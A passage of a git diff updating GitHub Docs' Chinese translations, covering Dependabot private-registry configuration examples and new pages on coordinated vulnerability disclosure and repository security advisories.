引用包含此注册表访问密钥的 {% data variables.product.prodname_dependabot %} 机密。 有关详细信息,请参阅“[管理 Dependabot 的加密机密](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)”。 | +| `token` | 引用包含此注册表访问令牌的 {% data variables.product.prodname_dependabot %} 机密。 有关详细信息,请参阅“[管理 Dependabot 的加密机密](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)”。 | +| `replaces-base` | 对于包含 `type: python-index` 的注册表,如果布尔值为 `true`,pip 会使用指定的 URL 而不是 Python 包索引的基 URL(默认为 `https://pypi.org/simple`)来解析依赖项。 | -Each configuration `type` requires you to provide particular settings. Some types allow more than one way to connect. The following sections provide details of the settings you should use for each `type`. +每个配置 `type` 都要求提供特定设置。 某些类型允许多种连接方式。 以下部分提供了每个 `type` 应该使用的设置的详细信息。 ### `composer-repository` -The `composer-repository` type supports username and password. +`composer-repository` 类型支持用户名和密码。 {% raw %} ```yaml @@ -804,9 +779,13 @@ registries: ### `docker-registry` -{% data variables.product.prodname_dependabot %} works with any container registries that implement the OCI container registry spec. For more information, see [https://github.com/opencontainers/distribution-spec/blob/main/spec.md](https://github.com/opencontainers/distribution-spec/blob/main/spec.md). {% data variables.product.prodname_dependabot %} supports authentication to private registries via a central token service or HTTP Basic Auth. For further details, see [Token Authentication Specification](https://docs.docker.com/registry/spec/auth/token/) in the Docker documentation and [Basic access authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) on Wikipedia. +{% note %} -The `docker-registry` type supports username and password. +注意:我们不支持 Azure 容器注册表 (ACR)。 + +{% endnote %} + +`docker-registry` 类型支持用户名和密码。 {% raw %} ```yaml @@ -819,7 +798,7 @@ registries: ``` {% endraw %} -The `docker-registry` type can also be used to pull from private Amazon ECR using static AWS credentials. +`docker-registry` 类型还可用于使用静态 AWS 凭据从 Amazon ECR 中拉取。 {% raw %} ```yaml @@ -834,7 +813,7 @@ registries: ### `git` -The `git` type supports username and password. +`git` 类型支持用户名和密码。 {% raw %} ```yaml @@ -849,7 +828,7 @@ registries: ### `hex-organization` -The `hex-organization` type supports organization and key. +`hex-organization` 类型支持组织和密钥。 {% raw %} ```yaml @@ -861,30 +840,9 @@ registries: ``` {% endraw %} -{% ifversion dependabot-hex-self-hosted-support %} -### `hex-repository` - -The `hex-repository` type supports an authentication key. - -`repo` is a required field, which must match the name of the repository used in your dependency declaration. - -The `public-key-fingerprint` is an optional configuration field, representing the fingerprint of the public key for the Hex repository. `public-key-fingerprint` is used by Hex to establish trust with the private repository. The `public-key-fingerprint` field can be either listed in plaintext or stored as a {% data variables.product.prodname_dependabot %} secret. - -{% raw %} -```yaml -registries: - github-hex-repository: - type: hex-repository - repo: private-repo - url: https://private-repo.example.com - auth-key: ${{secrets.MY_AUTH_KEY}} - public-key-fingerprint: ${{secrets.MY_PUBLIC_KEY_FINGERPRINT}} -``` -{% endraw %}{% endif %} - ### `maven-repository` -The `maven-repository` type supports username and password. +`maven-repository` 类型支持用户名和密码。 {% raw %} ```yaml @@ -899,9 +857,9 @@ registries: ### `npm-registry` -The `npm-registry` type supports username and password, or token. +`npm-registry` 类型支持用户名和密码或者令牌。 -When using username and password, your `.npmrc`'s auth token may contain a `base64` encoded `_password`; however, the password referenced in your {% data variables.product.prodname_dependabot %} configuration file must be the original (unencoded) password. +使用用户名和密码时,`.npmrc` 的身份验证令牌可能包含 `base64` 编码的 `_password`;但是,{% data variables.product.prodname_dependabot %} 配置文件中引用的密码必须是原始(未编码)密码。 {% raw %} ```yaml @@ -923,12 +881,10 @@ registries: token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} ``` {% endraw %} -{% ifversion dependabot-yarn-v3-update %} -For security reasons, {% data variables.product.prodname_dependabot %} does not set environment variables. Yarn (v2 and later) requires that any accessed environment variables are set. When accessing environment variables in your `.yarnrc.yml` file, you should provide a fallback value such as {% raw %}`${ENV_VAR-fallback}`{% endraw %} or {% raw %}`${ENV_VAR:-fallback}`{% endraw %}. For more information, see [Yarnrc files](https://yarnpkg.com/configuration/yarnrc) in the Yarn documentation.{% endif %} ### `nuget-feed` -The `nuget-feed` type supports username and password, or token. +`nuget-feed` 类型支持用户名和密码或者令牌。 {% raw %} ```yaml @@ -947,14 +903,13 @@ registries: nuget-azure-devops: type: nuget-feed url: https://pkgs.dev.azure.com/.../_packaging/My_Feed/nuget/v3/index.json - username: octocat@example.com - password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} + token: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} ``` {% endraw %} ### `python-index` -The `python-index` type supports username and password, or token. +`python-index` 类型支持用户名和密码或者令牌。 {% raw %} ```yaml @@ -974,15 +929,14 @@ registries: python-azure: type: python-index url: https://pkgs.dev.azure.com/octocat/_packaging/my-feed/pypi/example - username: octocat@example.com - password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} + token: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} replaces-base: true ``` {% endraw %} ### `rubygems-server` -The `rubygems-server` type supports username and password, or token. +`rubygems-server` 类型支持用户名和密码或者令牌。 {% raw %} ```yaml @@ -1007,7 +961,7 @@ registries: ### `terraform-registry` -The `terraform-registry` type supports a token. +`terraform-registry` 类型支持令牌。 {% raw %} ```yaml @@ -1019,12 +973,12 @@ registries: ``` {% endraw %} -{% ifversion fpt or ghec or ghes > 3.4 %} -## Enabling support for beta-level ecosystems +{% ifversion fpt or ghec or ghes > 3.4 %} +## 启用对 beta 级生态系统的支持 ### `enable-beta-ecosystems` -By default, {% data variables.product.prodname_dependabot %} updates the dependency manifests and lock files only for fully supported ecosystems. Use the `enable-beta-ecosystems` flag to opt in to updates for ecosystems that are not yet generally available. +默认情况下,{% data variables.product.prodname_dependabot %} 仅针对完全支持的生态系统更新依赖项清单和锁定文件。 使用 `enable-beta-ecosystems` 标志选择加入尚未正式发布的生态系统更新。 ```yaml # Configure beta ecosystem @@ -1036,6 +990,6 @@ updates:{% ifversion fpt or ghec or ghes > 3.5 %} - package-ecosystem: "pub"{% endif %} directory: "/" schedule: - interval: "weekly" + interval: "daily" ``` {% endif %} diff --git a/translations/zh-CN/content/code-security/dependabot/working-with-dependabot/index.md b/translations/zh-CN/content/code-security/dependabot/working-with-dependabot/index.md index 16f88857ac..676d3fc5bf 100644 --- a/translations/zh-CN/content/code-security/dependabot/working-with-dependabot/index.md +++ b/translations/zh-CN/content/code-security/dependabot/working-with-dependabot/index.md @@ -18,6 +18,7 @@ children: - /automating-dependabot-with-github-actions - /keeping-your-actions-up-to-date-with-dependabot - /managing-encrypted-secrets-for-dependabot + - /configuring-dependabot-to-only-access-private-registries - /troubleshooting-the-detection-of-vulnerable-dependencies - /troubleshooting-dependabot-errors ms.openlocfilehash: efab6caf0c9384c9e72cc5ed1fe64bd500cede45 diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md b/translations/zh-CN/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md new file mode 100644 index 0000000000..c7f26caf56 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md @@ -0,0 +1,76 @@ +--- +title: 关于安全漏洞的协调披露 +intro: 漏洞披露是安全报告者与仓库维护者之间的协调工作。 +redirect_from: +- /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Security advisories +- Vulnerabilities +shortTitle: Coordinated disclosure +ms.openlocfilehash: a5d4445525b46536cbfd3301cccb78140589de22 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145084365" +--- +## 关于披露行业漏洞 + +{% data reusables.security-advisory.disclosing-vulnerabilities %} + +漏洞的初始报告是私下发布的,并且只有在维护者确认问题后才会公布全部详细信息,最好提供补救或修补程序,有时会延迟,以便有更多的时间安装修补程序。 有关详细信息,请参阅 OWASP 备忘单系列网站上的“[关于漏洞披露的 OWASP 备忘单系列](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software)”。 + +### 漏洞报告者的最佳实践 + +私下向维护者报告漏洞是一项良好的做法。 如果可能,作为漏洞报告者,我们建议您避免: +- 公开披露漏洞而不给维护者补救的机会。 +- 绕过维护者。 +- 在代码的修复版可用之前披露漏洞。 +- 在没有公共奖励方案的情况下,报告某个问题时期望得到补偿。 + +漏洞报告者如果已尝试联系维护者但未收到回复,或与已联系他们但被要求等待很久才能披露,则在一段时间后公开披露漏洞是可以接受的。 + +我们建议漏洞报告者在报告过程中明确说明其披露政策的条款。 即使漏洞报告者不遵守严格的政策,最好在预期漏洞披露的时间表上对维护者设定明确的期望。 有关披露策略的示例,请参阅 GitHub 安全实验室网站上的“[安全实验室披露策略](https://securitylab.github.com/advisories#policy)”。 + +### 维护者最佳实践 + +作为维护者,最佳做法是明确说明您想如何和在何处收到关于漏洞的报告。 如果此信息不可明确,但漏洞报告者不知道如何联系您,可能寻求从 git 提交历史记录中提取开发人员电子邮件地址,以尝试找到适当的安全联系人。 这可能导致摩擦、丢失报告或发布未解决的报告。 + +维护者应及时披露漏洞。 如果您的仓库存在安全漏洞,我们建议您: +- 在响应和披露中,将漏洞视为安全问题,而不是简单的错误。 例如,您需要明确提及问题在发布说明中是一个安全漏洞。 +- 即使没有即时的调查资源,也应尽快确认收到漏洞报告。 这传递了这样一个信息:您可以快速响应并采取行动,并为您与漏洞报告者之间的其余互动设定了积极的基调。 +- 当您验证报告的影响和真实性时,请让漏洞报告者参与。 漏洞报告者可能已经花时间考虑了各种情景中的漏洞,其中一些情况您自己可能都没有考虑过。 +- 以你认为合适的方式解决这个问题,认真考虑漏洞报告者提出的任何关切和建议。 通常,漏洞报告者会了解没有安全研究背景时容易错过的某些角落案例和补救旁路。 +- 始终将漏洞的发现归功于漏洞报告者。 +- 目标是尽快发布修复。 +- 确保您在披露漏洞时让更广泛的生态系统意识到问题及其补救措施。 在项目当前开发分支中修复已识别的安全问题,但提交或后续版本未明确标记为安全修复或发布的情况并不少见。 这可能给下游消费者造成问题。 + +发布安全漏洞的详细信息不会使维护者看起来很糟糕。 安全漏洞在软件中随处可见。用户会信任那些在其守则中明确制定了安全漏洞披露程序的维护者。 + +## 关于在 {% data variables.product.prodname_dotcom %} 上报告和披露项目中的漏洞 + +在 {% data variables.product.prodname_dotcom_the_website %} 上报告和披露项目漏洞的流程如下: + + 如果您是要报告漏洞的漏洞报告者(例如安全研究人员),请先检查相关仓库是否有安全策略。 有关详细信息,请参阅“[关于安全策略](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)”。 如果有的话,请先了解该流程,然后再联系该仓库的安全团队。 + + 如果没有安全策略,与维护者建立私人通信手段的最有效办法是制造一个要求优先安全联系的问题。 值得注意的是,这个问题将立即公开可见,所以它不应该包括任何有关漏洞的信息。 建立通信后,您可以建议维护者制定安全策略以供将来使用。 + +{% note %} + +注意:如果我们收到 npm 包中的恶意软件报告,我们会尝试私下与你联系(仅适用于 npm)。 如果您不及时解决问题,我们将予以披露。 有关详细信息,请参阅 npm Docs 网站上的“[报告 npm 包中的恶意软件](https://docs.npmjs.com/reporting-malware-in-an-npm-package)”。 + +{% endnote %} + + 如果您在 {% data variables.product.prodname_dotcom_the_website %} 中发现了安全漏洞,请通过我们协调的披露流程报告该漏洞。 有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 安全 Bug 赏金](https://bounty.github.com/)”网站。 + + 如果您是维护者, 您可以在管道开始时通过为您的仓库设置安全策略来掌控这一过程,或者以其他方式使安全报告说明清楚可用,例如在项目的 README 文件中。 有关添加安全策略的信息,请参阅“[关于安全策略](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)”。 如果没有安全策略,漏洞报告者可能会尝试向您发送电子邮件或以其他方式私下与您联系。 或者,有人可能会开一个(公共)议题讨论安全问题的细节。 + + 作为维护者,要在您的代码中披露漏洞,请先在 {% data variables.product.prodname_dotcom %} 中软件包的仓库内创建安全通告。 {% data reusables.security-advisory.security-advisory-overview %}有关详细信息,请参阅“[关于存储库的 {% data variables.product.prodname_security_advisories %}](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)”。 + + + 要开始使用,请参阅“[创建存储库安全公告](/code-security/repository-security-advisories/creating-a-repository-security-advisory)”。 diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md b/translations/zh-CN/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md new file mode 100644 index 0000000000..8331de0bdd --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md @@ -0,0 +1,66 @@ +--- +title: 关于存储库的 GitHub 安全公告 +intro: 您可以使用 {% data variables.product.prodname_security_advisories %} 来私下讨论、修复和发布有关仓库中安全漏洞的信息。 +redirect_from: +- /articles/about-maintainer-security-advisories +- /github/managing-security-vulnerabilities/about-maintainer-security-advisories +- /github/managing-security-vulnerabilities/about-github-security-advisories +- /code-security/security-advisories/about-github-security-advisories +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Security advisories +- Vulnerabilities +- CVEs +shortTitle: Repository security advisories +ms.openlocfilehash: 5c8ad99a2bee30f52a185fa15421bc6b23429fbf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145084364" +--- +{% data reusables.repositories.security-advisory-admin-permissions %} + +{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} + +## 关于 {% data variables.product.prodname_security_advisories %} + +{% data reusables.security-advisory.disclosing-vulnerabilities %} 更多信息请参阅“[关于协调披露安全漏洞](/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities)”。 + +{% data reusables.security-advisory.security-advisory-overview %} + +通过 {% data variables.product.prodname_security_advisories %},您可以: + +1. 创建安全通告草稿,并使用草稿私下讨论漏洞对项目的影响。 有关详细信息,请参阅“[创建存储库安全公告](/code-security/repository-security-advisories/creating-a-repository-security-advisory)”。 +2. 在临时私有复刻中私下协作以修复漏洞。 +3. 在补丁发布后发布通告向社区提醒漏洞。 有关详细信息,请参阅“[发布存储库安全性公告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)”。 + +{% data reusables.repositories.security-advisories-republishing %} + +您可以向为安全通告做出贡献的个人提供积分。 有关详细信息,请参阅“[编辑存储库安全性公告](/code-security/repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories)”。 + +{% data reusables.repositories.security-guidelines %} + +如果您在仓库中创建了安全通告,安全通告将保留在您的仓库中。 我们在 [github.com/advantores](https://github.com/advisories) 上的 {% data variables.product.prodname_advisory_database %} 发布任何由依赖关系图支持的生态系统的安全公告。 任何人都可以提交对 {% data variables.product.prodname_advisory_database %} 中发布的公告的更改。 有关详细信息,请参阅“[在 {% data variables.product.prodname_advisory_database %} 中编辑安全公告](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)”。 + +如果安全通告是专门针对 npm 的,我们也会向 npm 安全通告发布该通告。 有关详细信息,请参阅 [npmjs.com/advisories](https://www.npmjs.com/advisories)。 + +{% data reusables.repositories.github-security-lab %} + +## CVE 识别号 + +{% data variables.product.prodname_security_advisories %} 基于通用漏洞披露 (CVE) 列表而构建。 在 {% data variables.product.prodname_dotcom %} 上的安全通告表是符合 CVE 描述格式的标准化表格。 + +{% data variables.product.prodname_dotcom %} 是 CVE 编号颁发机构 (CNA),被授权分配 CVE 标识号。 有关详细信息,请参阅 CVE 网站上的[关于 CVE](https://www.cve.org/About/Overview) 和 [CVE 编号机构](https://www.cve.org/ProgramOrganization/CNAs)。 + +在 {% data variables.product.prodname_dotcom %} 上为公共仓库创建安全通告时,您可以选择为安全漏洞提供现有的 CVE 标识号。 {% data reusables.repositories.request-security-advisory-cve-id %} + +在您发布了安全通告并且 {% data variables.product.prodname_dotcom %} 为漏洞分配 CVE 标识号后,{% data variables.product.prodname_dotcom %} 会将 CVE 发布到 MITRE 数据库。 +有关详细信息,请参阅“[发布存储库安全性公告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)”。 + +## 对于发布的安全通告的 {% data variables.product.prodname_dependabot_alerts %} + +{% data reusables.repositories.github-reviews-security-advisories %} diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md b/translations/zh-CN/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md new file mode 100644 index 0000000000..73bc8742b5 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md @@ -0,0 +1,50 @@ +--- +title: 将协作者添加到存储库安全通告 +intro: 您可以添加其他用户或团队与您协作处理安全通告。 +redirect_from: +- /articles/adding-a-collaborator-to-a-maintainer-security-advisory +- /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-maintainer-security-advisory +- /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-security-advisory +- /code-security/security-advisories/adding-a-collaborator-to-a-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +- Collaboration +shortTitle: Add collaborators +ms.openlocfilehash: 6fa4062fab8e4ffc59724ceb0ba3b6b536871df9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147877165" +--- +对安全通告具有管理员权限的人员可向安全通告添加协作者。 + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## 添加协作者到安全通告 + +协作者对安全通告具有写入权限。 有关详细信息,请参阅[存储库安全通告的权限级别](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories)。 + +{% note %} + +{% data reusables.repositories.security-advisory-collaborators-public-repositories %} 有关删除安全通告协作者的更多信息,请参阅[从存储库安全通告删除协作者](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory)。 + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要向其添加协作者的安全通告。 +5. 在页面右侧的“Collaborators(协作者)”下,键入要添加到安全通告的用户或团队名称。 + ![用于输入用户或团队名称的字段](/assets/images/help/security/add-collaborator-field.png) +6. 单击“添加”。 + ![“添加”按钮](/assets/images/help/security/security-advisory-add-collaborator-button.png) + +## 延伸阅读 + +- [存储库安全通告的权限级别](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories) +- [在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability) +- [从存储库安全通告删除协作者](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory)。 diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md b/translations/zh-CN/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md new file mode 100644 index 0000000000..2e0c956ee6 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md @@ -0,0 +1,92 @@ +--- +title: 编写存储库安全公告的最佳做法 +intro: 在创建或编辑安全公告时,使用标准格式指定生态系统、包名称和受影响的版本后,更易于其他用户理解你提供的信息。 +versions: + fpt: '*' + ghec: '*' +type: how_to +miniTocMaxHeadingLevel: 3 +topics: +- Security advisories +- Vulnerabilities +shortTitle: Best practices +ms.openlocfilehash: d5b3e7ebecabd22b0c992432789d9581dda4e16e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106395" +--- +任何对存储库有管理员权限的人都可以创建和编辑安全公告。 + +{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} + +## 有关存储库的安全公告 + +{% data reusables.security-advisory.security-advisory-overview %} 有关详细信息,请参阅“[关于存储库的 GitHub 安全公告](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)”。 + +## 最佳实践 + +编写存储库安全公告或为全局安全公告做出社区贡献时,建议采用 {% data variables.product.prodname_advisory_database %} 中使用的语法,尤其是版本格式设置。 + +如果按照 {% data variables.product.prodname_advisory_database %} 的语法,尤其是对受影响的版本进行定义时: +- 发布存储库公告时,可以将公告添加到 {% data variables.product.prodname_advisory_database %} 作为“{% data variables.product.company_short %}-已审核”公告,而无需请求更多信息。 +- {% data variables.product.prodname_dependabot %} 将提供信息来准确识别受影响的存储库,并向其发送 {% data variables.product.prodname_dependabot_alerts %} 以通知它们。 +- 社区成员不太可能建议通过编辑公告来修复缺失或不正确的信息。 + +使用“草稿安全公告”表单添加或编辑存储库公告。 有关详细信息,请参阅“[创建存储库安全公告](/code-security/repository-security-advisories/creating-a-repository-security-advisory)”。 + +建议使用“改进安全公告”表单,完善现有全局公告。 有关详细信息,请参阅“[在 {% data variables.product.prodname_advisory_database %} 中编辑安全公告](/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database)”。 + +### 生态系统 + +需要使用“生态系统”字段将公告分配给受支持的生态系统之一。 有关我们支持的生态系统的详细信息,请参阅“[在 {% data variables.product.prodname_advisory_database %} 中浏览安全公告](/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database#github-reviewed-advisories)”。 + +![突出显示表单上“生态系统”字段的屏幕截图](/assets/images/help/security/security-advisory-ecosystem.png) + +### 包名称 + +建议使用“包名称”字段指定受影响的包,因为 {% data variables.product.prodname_advisory_database %} 中的“{% data variables.product.company_short %}-已审核”公告需要包信息。 包信息对于存储库级安全公告是可选的,但在发布安全公告时尽早包含此信息可简化审核过程。 + +![突出显示表单上“包名称”的屏幕截图](/assets/images/help/security/security-advisory-package-name.png) + +### 受影响版本 + +建议使用“受影响的版本”字段指定受影响的版本,因为 {% data variables.product.prodname_advisory_database %} 中的“{% data variables.product.company_short %}-已审核”公告在需要此信息。 版本信息对于存储库级安全公告是可选的,但在发布安全公告时尽早包含此信息可简化审核过程。 + +![突出显示“受影响的版本”字段的屏幕截图](/assets/images/help/security/security-advisory-affected-versions.png) + +- 有效的受影响的版本字符串包含以下内容之一: + - 下限运算符序列。 + - 上限运算符序列。 + - 上限运算符序列和下限运算符序列。 + - 使用相等 (`=`) 运算符的特定版本序列。 +- 每个运算符序列都必须指定为运算符、单个空格,以及版本。 + - 有效运算符包括 `=`、`<`、`<=`、`>` 或 `>=`。 + - 版本必须以数字开头,其后为任意数量的数字、字母、点、短破折号或下划线字符(空格或逗号以外的任何内容) + - 同时指定上限序列和下限序列后,下限必须先出现,其后为逗号和一个空格,然后是上限。 + {% note %} + + 注意:受影响的版本字符串不能包含前导空格或尾随空格。 + + {% endnote %} + +- 上限运算符可以是非独占运算符或独占运算符,即分别是 `<=` 或 `<`。 +- 下限运算符可以是非独占运算符或独占运算符,即分别是 `>=` 或 `>`。 但是,如果你发布存储库公告,而我们将你的存储库公告升级为全局公告后,则会应用不同的规则:下限运算符只能是非独占的,即 `>=`。仅当版本为 `0` 时才能是独占下限运算符 (`>`),如 `> 0`。 + + {% note %} + + 注意:下限限制: + - 是因为与 OSV(开放源代码漏洞)架构不兼容。 + - 仅在对 {% data variables.product.prodname_advisory_database %} 中的现有公告提出建议时才适用。 + + {% endnote %} + +- 不能在同一字段中指定多个受影响的版本范围,例如 `> 2.0, < 2.3, > 3.0, < 3.2`。若要指定多个范围,必须通过单击“+ 添加另一个受影响的产品”按钮,为每个范围创建新的“受影响的产品”部分 。 + + ![突出显示用于添加多个受影响的版本范围的按钮的屏幕截图](/assets/images/help/security/security-advisory-add-another-affected-product.png) + - 如果受影响的版本范围仅包含单个上限或下限: + - 如果未显式指定下限,那么隐式值始终为 `> 0`。 + - 如果未显式指定上限,则隐式值始终为无穷大。 + +有关 {% data variables.product.prodname_advisory_database %} 的详细信息,请参阅 [https://github.com/github/advisory-database](https://github.com/github/advisory-database)。 diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md b/translations/zh-CN/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md new file mode 100644 index 0000000000..2c8e7f341c --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md @@ -0,0 +1,90 @@ +--- +title: 在临时专用分支中协作以解决存储库安全漏洞 +intro: 您可以创建临时私有复刻,以私下协作修复仓库中的安全漏洞。 +redirect_from: +- /articles/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability +- /github/managing-security-vulnerabilities/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability +- /code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +- Collaboration +- Forks +shortTitle: Temporary private forks +ms.openlocfilehash: c03892c3ad1bd7345a7a066c9a9564858db4b84d +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876029" +--- +{% data reusables.security-advisory.repository-level-advisory-note %} + +## 先决条件 + +在临时私有复刻中进行协作之前,必须创建维护员通告草稿。 有关详细信息,请参阅“[创建存储库安全通告](/code-security/repository-security-advisories/creating-a-repository-security-advisory)”。 + +## 创建临时私有复刻 + +任何对安全通告有管理权限的人都可以创建临时私有复刻。 + +为保证漏洞相关信息的安全,集成系统(包括 CI)无法访问临时私有复刻。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要在其中创建临时私有复刻的安全通告。 + ![列表中的安全通告](/assets/images/help/security/security-advisory-in-list.png) +5. 单击“新建临时专用分支”。 + ![“新建临时专用分支”按钮](/assets/images/help/security/new-temporary-private-fork-button.png) + +## 将协作者添加到临时私有复刻 + +对安全通告具有管理员权限的任何人都可以向安全通告添加其他协作者,而安全通告的协作者可以访问临时私有复刻。 有关详细信息,请参阅“[将协作者添加到存储库安全通告](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)”。 + +## 将更改添加到临时私有复刻 + +任何对安全通告有写入权限的人都可以向临时私有复刻添加更改。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要向其添加更改的安全通告。 + ![列表中的安全通告](/assets/images/help/security/security-advisory-in-list.png) +5. 在 {% data variables.product.product_name %} 上或在本地添加更改: + - 若要在 {% data variables.product.product_name %} 上添加更改,请在“向此通告添加更改”下单击“临时专用分支”。 然后,创建新分支并编辑文件。 有关详细信息,请参阅“[在存储库中创建和删除分支](/articles/creating-and-deleting-branches-within-your-repository)”和“[编辑文件](/repositories/working-with-files/managing-files/editing-files)”。 + - 要在本地添加更改,请按照“克隆并创建新分支”和“进行更改,然后推送”下的说明进行操作。 + ![“向此通告添加更改”框](/assets/images/help/security/add-changes-to-this-advisory-box.png) + +## 从临时私有复刻创建拉取请求 + +任何对安全通告有写入权限的人都可以从临时私有复刻创建拉取请求。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要在其中创建拉取请求的安全通告。 + ![列表中的安全通告](/assets/images/help/security/security-advisory-in-list.png) +5. 在分支名称的右侧,单击“比较和拉取请求”。 + ![“比较和拉取请求”按钮](/assets/images/help/security/security-advisory-compare-and-pr.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% data reusables.repositories.merge-all-pulls-together %} 有关详细信息,请参阅“[合并安全通告中的更改](#merging-changes-in-a-security-advisory)”。 + +## 合并安全通告中的更改 + +对安全通告具有管理员权限的任何人都可合并安全通告中的更改。 + +{% data reusables.repositories.merge-all-pulls-together %} + +在合并安全通告中的更改之前,临时私有复刻中每个打开的拉取请求必须为可合并状态。 不存在合并冲突,并且必须满足分支保护要求。 为保证漏洞相关信息的安全,不在临时私有复刻的拉取请求上运行状态检查。 有关详细信息,请参阅“[关于受保护的分支](/articles/about-protected-branches)”。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要合并其更改的安全通告。 + ![列表中的安全通告](/assets/images/help/security/security-advisory-in-list.png) +5. 若要合并临时专用分支中所有打开的拉取请求,请单击“合并拉取请求”。 + ![“合并拉取请求”按钮](/assets/images/help/security/merge-pull-requests-button.png) + +合并安全通告中的更改后,您可以发布安全通告,以提醒您的社区有关项目早期版本中安全漏洞的信息。 有关详细信息,请参阅“[发布存储库安全通告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)”。 + +## 延伸阅读 + +- 